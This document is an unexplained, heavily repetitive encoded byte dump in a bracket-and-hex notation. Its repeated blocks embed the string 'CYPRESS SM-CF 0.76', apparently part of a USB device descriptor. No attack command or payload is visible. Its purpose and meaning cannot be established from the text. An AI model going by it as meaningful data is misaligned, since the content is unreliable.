x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00xD0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]
0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[00x40x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]
0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00xC0x0x]0x0x[0x0x
0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x
]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x
]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0
x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0
x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x40x0x]0x0x[0x0x0x0
x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x
0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x
0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0
0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0
x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0
x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]
0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x
0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x
]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x
]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x
]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0
x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0
x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x
0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x
0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x
0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x50x0x]0x0x[0
x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[
0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x
0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x
0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x
]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x
]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0
x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0
x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0
x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0
x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x20x0
x]0x0x[0x0x0x0x]0x0x[0x0x[00xD0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0
x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x
0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x
0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x
0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x
0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0
x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0
x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0
x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0
x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[
0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[
0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]
0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x
0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x
0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x
[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x
[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x
[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x
]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0
x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0
x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0
x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0
x[0x0x[00x90x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x00x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0
x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00
x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x]0x0x[0x
0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x
0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x
0x[0x0x0x0x]0x0x[0x0x[00x10x0x]0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x
0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x
0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x
0x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0
x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0
x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[00x]0x0x]0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0
x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0
x0x]0x0x[0x0x0x0x]0x0x[0x0x[0x0x0x0x]0x0x[0x0x[00x]0x0x]0x0x[0x0x[0xA0+0x0F+0x8C
+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0
x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0x
A1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-][0xA1+0x07-][0xA1+0x05-
][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x07-][0xA1+0
x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x04-][0x
A1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-][0xA1+0x43-][0xA1+0x00-
][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0x52-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x20-][0x
A1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x12-][0x
A1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0x08-
][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0x76-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0xA1+0xFF-][0xA0+0x0F+0x8C
+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0
x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0x
A1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-][0xA1+0x07-][0xA1+0x05-
][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x07-][0xA1+0
x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x04-][0x
A1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-][0xA1+0x43-][0xA1+0x00-
][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0x52-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x20-][0x
A1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x12-][0x
A1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0x08-
][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0x76-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0xA1+0xFF-][0xA0+0x0F+0x8C
+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0
x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0x
A1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-][0xA1+0x07-][0xA1+0x05-
][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x07-][0xA1+0
x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x04-][0x
A1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-][0xA1+0x43-][0xA1+0x00-
][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0x52-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x20-][0x
A1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x12-][0x
A1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0x08-
][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0x76-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0xA1+0xFF-][0xA0+0x0F+0x8C
+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0
x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0x
A1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-][0xA1+0x07-][0xA1+0x05-
][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x07-][0xA1+0
x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x04-][0x
A1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-][0xA1+0x43-][0xA1+0x00-
][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0x52-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x20-][0x
A1+0x00-][0xA1+0x53-][0xA1+0x00-][0xA1+0x4D-][0xA1+0x00-][0xA1+0x2D-][0xA1+0x00-
][0xA1+0x43-][0xA1+0x00-][0xA1+0x46-][0xA1+0x00-][0xA1+0x20-][0xA1+0x00-][0xA1+0
x30-][0xA1+0x00-][0xA1+0x2E-][0xA1+0x00-][0xA1+0x37-][0xA1+0x00-][0xA1+0x36-][0x
A1+0x00-][0xA1+0x12-][0xA1+0x03-][0xA1+0x31-][0xA1+0x00-][0xA1+0x31-][0xA1+0x00-
][0xA1+0x32-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x34-][0xA1+0x00-][0xA1+0
x45-][0xA1+0x00-][0xA1+0x43-][0xA1+0x00-][0xA1+0x30-][0xA1+0x00-][0xA1+0x12-][0x
A1+0x01-][0xA1+0x10-][0xA1+0x01-][0xA1+0x00-][0xA1+0x00-][0xA1+0x00-][0xA1+0x08-
][0xA1+0xCE-][0xA1+0x04-][0xA1+0x02-][0xA1+0x00-][0xA1+0x76-][0xA1+0x00-][0xA1+0
x01-][0xA1+0x01-][0xA1+0x02-][0xA1+0x01-][0xA1+0xFF-][0xA1+0xFF-][0xA0+0x0F+0x8C
+[0xA1+0x09-][0xA1+0x02-][0xA1+0x20-][0xA1+0x00-][0xA1+0x01-][0xA1+0x01-][0xA1+0
x00-][0xA1+0xC0-][0xA1+0x96-][0xA1+0x09-][0xA1+0x04-][0xA1+0x00-][0xA1+0x00-][0x
A1+0x02-][0xA1+0x08-][0xA1+0x06-][0xA1+0x50-][0xA1+0x00-][0xA1+0x07-][0xA1+0x05-
][0xA1+0x02-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x07-][0xA1+0
x05-][0xA1+0x81-][0xA1+0x02-][0xA1+0x40-][0xA1+0x00-][0xA1+0x00-][0xA1+0x04-][0x
A1+0x03-][0xA1+0x09-][0xA1+0x04-][0xA1+0x26-][0xA1+0x03-][0xA1+0x43-][0xA1+0x00-
][0xA1+0x59-][0xA1+0x00-][0xA1+0x50-][0xA1+0x00-][0xA1+0x52-][0xA1+0x00-][0xA1+0
